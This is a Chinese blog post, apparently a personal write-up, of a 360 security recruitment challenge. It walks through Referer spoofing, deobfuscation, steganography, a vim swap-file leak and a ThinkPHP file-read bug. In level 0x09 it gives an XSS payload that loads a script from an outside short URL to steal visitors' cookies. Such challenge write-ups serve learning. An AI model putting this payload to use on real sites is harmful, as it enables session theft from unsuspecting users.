您现在的位置: Tracy‘Blog > 博客 > 黑人黑事 > 正文
360安全招聘挑战

        不算writeup吧,做个记录,而且,挺坑的就是,比赛还没完,好多答案都已经出来了,或者说总有各种提示已经出来了。不像是一场比赛那种,当然也正因为不是比赛性质,也就没有那么熬夜认认真真的去做题了。做一会儿玩一会儿,大概就这样了,好吧,废话也不多说了。开始吧~


        0x01 http://attack.onebox.so.com/c6c299rf-main.html

 

        额,不多说,改http header,将其中Referer的值改为http://hack.360.cn

        就可以得到第二关地址。

 

        0x02 http://attack.onebox.so.com/jaa60cjse-main.html

 

        右键看源码。当然,网页用js控制了不让右键的,禁用js就行。不过,貌似我的sougou,在右键后,弹出提示禁止右键的提示,但是,弹两次后还是依然出来了右键菜单,直接看源码吧。里面有个Public/js/encode.js 很显眼。down下来看看。

var password = eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('9 5$=["\\8\\3\\4\\3\\2\\2\\1\\3\\2\\3\\3\\2\\2\\7\\3\\1\\4\\1\\3\\2\\1\\3\\1\\3\\2\\2\\2\\1\\3\\4\\1\\3\\2\\1\\4\\1\\3\\2\\1\\4\\1\\3\\2\\2\\1\\3\\4\\1\\3\\2\\1\\4\\1\\3\\2\\1\\4\\1\\3\\2\\1\\4\\1\\3\\2\\1\\4\\1\\3\\2\\1\\4\\1\\3\\2\\2\\1\\3\\1\\3\\2\\2"];6 c(){e["\\f\\g\\d\\a\\b"](5$[0])}',17,17,'|x2b|x5d|x5b|x21|_|function|x29|x28|var|x72|x74|O0|x65|window|x61|x6c'.split('|'),0,{}));

        一看就知道变形js的,不信你百度一下eval(function(p,a,c,k,e,d)。这里随便用网上一个js脚本来解密,从eval那里开始解码。解完之后如下:

var _$=["\x28\x5b\x21\x5b\x5d\x5d\x2b\x5b\x5d\x5b\x5b\x5d\x5d\x29\x5b\x2b\x21\x2b\x5b\x5d\x2b\x5b\x2b\x5b\x5d\x5d\x5d\x2b\x5b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x5d\x2b\x5b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x2b\x21\x2b\x5b\x5d\x5d\x2b\x5b\x2b\x5b\x5d\x5d"];function O0(){window["\x61\x6c\x65\x72\x74"](_$[0])}

        在chrome下,按Ctrl+Shift+C,把上面的内容粘贴过去。你会发现解码后结果是:

["([![]]+[][[]])[+!+[]+[+[]]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]"]

        再来一次,结果就出来了

        key是:i360

 

        0x03 http://attack.onebox.so.com/je4cd0jsk-main.html

        代码是:

0x253444253534253435253335253439253434253435253737253444253533253431253738253444253434253637253637253446253534253642253637253444253534253435253738253439253434253435253737253446253533253431253738253444253434253435253637253444253534253435253332253439253434253435253738253444253533253431253331253444253533253431253331253445253433253431253330253446253433253431253344

        前面是0x,所以,判断后面是16进制。
        上次bctf有个py程序,进制转换的,刚好用上,解密后的ascii码是:

%4D%54%45%35%49%44%45%77%4D%53%41%78%4D%44%67%67%4F%54%6B%67%4D%54%45%78%49%44%45%77%4F%53%41%78%4D%44%45%67%4D%54%45%32%49%44%45%78%4D%53%41%31%4D%53%41%31%4E%43%41%30%4F%43%41%3D

        这个东西让我想起了sql注入的时候的一些绕过,于是,随意打开一个网站,在网址后面加上这一串,就用我自己的博客做实验吧。
http://www.purpleroc.com/%4D%54%45%35%49%44%45%77%4D%53%41%78%4D%44%67%67%4F%54%6B%67%4D%54%45%78%49%44%45%77%4F%53%41%78%4D%44%45%67%4D%54%45%32%49%44%45%78%4D%53%41%31%4D%53%41%31%4E%43%41%30%4F%43%41%3D
        回车摁下去之后,ie地址栏返回的结果是:
http://www.purpleroc.com/MTE5IDEwMSAxMDggOTkgMTExIDEwOSAxMDEgMTE2IDExMSA1MSA1NCA0OCA%3D
        现在的问题是,为啥还有个%3D没还原出来?就翻了下ascii码表,发现%3D是=。于是,他就是base64加密的了。
        网上找一个base64解密的页面,把MTE5IDEwMSAxMDggOTkgMTExIDEwOSAxMDEgMTE2IDExMSA1MSA1NCA0OCA= 放进去,然后,解密出来是:

119 101 108 99 111 109 101 116 111 51 54 48 

        一看,又得翻ascii码了,后面515448还是认识:是360,然后看了前三个字母,wel。数了下位数,就是welcometo360了。

 

        0x04 http://attack.onebox.so.com/d971abpic-main.html

        图片,图片~~~额,隐写、藏数据?不知道,先下载下来。
        然后用Stegsolve.jar看了半天,没看出啥,再用ps各种调曲线,还是不成。然后,用winhex打开看了看,按照上次bctf的writeup上写的,可以用identify来看一些图片里是否有多余数据,可,我试了下~发现~~~没成功过,也没看懂过~/lh
        所以,直接用winhex,把文件后面一段删除之,再打开图片,发现~居然,没有出现灰色阑珊,可以确定,这文件有问题,细细的翻了翻,结果又找到一个JFIF

直接从这里开始到文件尾复制到新文件,保存为1.jpg:

        之后,就是要确定它是什么文件了,我对着里面的各种可见字符各种搜索后,没啥收获,果断在前面按照第一个文件头的方法,添加一个FFD8FFE0,于是,图片出来了~

        把字母输入进去~提示错误,去掉空格后再来一次,好了~

 

        0x05 http://attack.onebox.so.com/cca5e5bas-main.html


        这一关就没啥说的了,百度百度吧,然后顺便,把这传说中的“网络三贱客”收集一下吧,这也是比赛的好处,多收集一些常用工具吧。


        0x06 http://attack.onebox.so.com/c47e92bak-main.html

        这个比较坑~在这里折腾了老半天,第一反应是vi的“~”,因为貌似以前在哪也用到过这个,所以记下了,可是~各种url 404后,就开始骂出题人了~
后来冷静了一下,找了找ue,然后试了试ue的.bak和后缀后加.bak,发现,还是不行。
        然后搜了下eclipse,发现,没自带备份功能,然后editplus的.bak_Editplus,尼玛还是不行。
        之后拿出nmap扫了下主机,发现是Linux下的,那就一般都是vi吧~
        百度vi自动备份,发现,它貌似也就只有~后缀的。然后发现,在vi非正常退出的情况下,会有.swp文件生成,那,会不会是这个呢?
        丢进去一看~尼玛还真是~~~直接找到key:0ns055n01s3sp74qr67pno20ps380n129e82a09035c60de0320e471a47ffaf74
        一个下午做了这六题就没怎么做了。至少,我网络攻防技术估计还停留在3-4年前吧,很久没玩了,brupsuit还是前几天过客给的。
        后面的,几乎都是在玩,然后,有各种提示的情况下,填上key的。所以,后面的,大概写个方法和思路吧。

 

0x07 http://attack.onebox.so.com/s56410sense-main.html

        一直以来最不喜欢的就是爆破,猜密码之类的~总觉着不靠谱,机会渺茫的感觉。随意试了两个后,发现不对,就开始看源文件了(时候发现~我这思路坑了蛮多人),哈哈
代码中看到了下面这段:

$(document).ready(function(){
 $("#check_pass").click(function () {
  var pass = $("#password").val();
  var verify = $("#verify").val();
  if (!pass) {
   alert('密码不能为空');
   return false;
  }
  if (!verify) {
   alert('验证码不能为空');
   return false; 
  }
  $.getJSON("/s56410sense-checkpass.html", {password:pass,verify:verify}, function(data){
   if (data.status) {
    $("#show_login").html(data.info);
   } else {
    alert(data.info); 
   }
  });
 });
 $(".change_verify").click(function() {
  var verifyUrl = "/s56410sense-valify.html";
  $("#verify").attr("src", verifyUrl + "?rand=" + Math.random() * 10000);
 });
});

        jQuery的代码,细心看了看,发现,getJSON方法中,直接拿/s56410sense-checkpass.html来当data,还是个静态,就看了下那个页面,返回如下:

{"data":[],"info":"\u9a8c\u8bc1\u7801\u6216\u5bc6\u7801\u9519\u8bef","status":false}
        然后,只通过data.status来判断是否显示加密后的字段,然后~~我就这么走上了歧途~
        把网站脱下来,然后,改了改代码,放到本地来测试。结果,随意输入密码,就显示出了所谓的加密~“密码或验证码错误”。~~~之后我就一直纠结着~这个中文要怎么解密~
        尼玛~最后,放弃了。
        后来,队友告诉我,密码是Lilei20140305,呵呵,直接返回
        恭喜您拿到加密串:91199faddb0f5abe576ea087ea708172
        然后,一眼瞄出是md5,然后~cmd5、xmd5常用的两个网站~都没办法~
        嘿嘿,google一下~key是:
        360-hackgame-8-hello-world.php

 

0x08 http://attack.onebox.so.com/eda63b0faudit-main.html

 

        经提示过了第七关后,看着这个,有点淡淡的忧伤~
        好吧,看了好几遍后,选了如下几个:

include('template/' . $lang . '.php.html');   //不解释~
public function build($htmlfile='', $htmlpath='', $templateFile='')   //总觉得这个应该是protect,而不是public
$content = $this->fetch($templateFile);    //fetch在里面定义的是file_get_contents
return file_get_contents($templateFile);   //这个,可以直接读
mkdir($default_path, 0777, true);   //感觉涉及到权限问题~777是最高权限,可执行~
$destination = $default_path . basename($filename);    //这个wss的一个漏洞,从网上搜到的~

        然后勾了半天,结果都是错的,很郁闷,就没看了。
        再之后,队友给了下面这张图~:

然后,来到第九关~

 

0x09 http://attack.onebox.so.com/x2a9ef99cd0xs-main.html

        得到cookie,留言~第一个想到的就是XSS了,不过,HTML5啥的都没看过~这题也就没做。
大体思路是,提交:
<svg/onload=s=createElement('script');body.appendChild(s);s.src='http://t.cn/8s8FjYL';<!--
        然后XSS平台收到cookie~

 

0x10 http://attack.onebox.so.com/jdad3f8fasd0d-main.htm

l

        最奇妙的就是这个了,很有意思吧~
        什么都没,盯着他看了会儿,也没怎么看了,后来过客给了个提示:看cookie,于是,看了下:

 

        说实话,我是没看出什么,然后,他说把display和它的值get方式传上去,可以看到tips。
        试了下:http://attack.onebox.so.com/jdad3f8fasd0d-main.html?display=5842b0a0df2d52533c241c6ec26089a8

        果然~(真不知道如何想到的~)
        再之后就是要读取这个txt了。
        我唯一能想起的是../../../balabalabala~来读取文件的例子。所以,还是不会,然后经提示看到了wooyun上的一个漏洞,关于Thinkphp的。
http://www.wooyun.org/bugs/wooyun-2014-052538
        然后,还是不知道如何构造如下这个神级url:
http://attack.onebox.so.com/jdad3f8fasd0d-main.html?display=5842b0a0df2d52533c241c6ec26089a8&path=[code]/home/s/pwd/258e6e80188bcc2794333dd0f43b48de.txt[/code]
        至此~~~出现了:


        好吧,这总结也就到这里了。
        觉着,算是第一次了解了Thinkphp这个东西了。也算是了解了,并不是你看到html都会是静态的。
        大概就这样吧,总之还是有点收获的。
Keep moving, keep seeking, and keep thinking~

 

——Tracy_梓朋

2014年4月27日0:57:40

 

发表评论(0)
姓名 *
电子邮件
QQ
评论内容 *
验证码 *图片看不清?点击重新得到验证码请输入图片后链接字符‘a’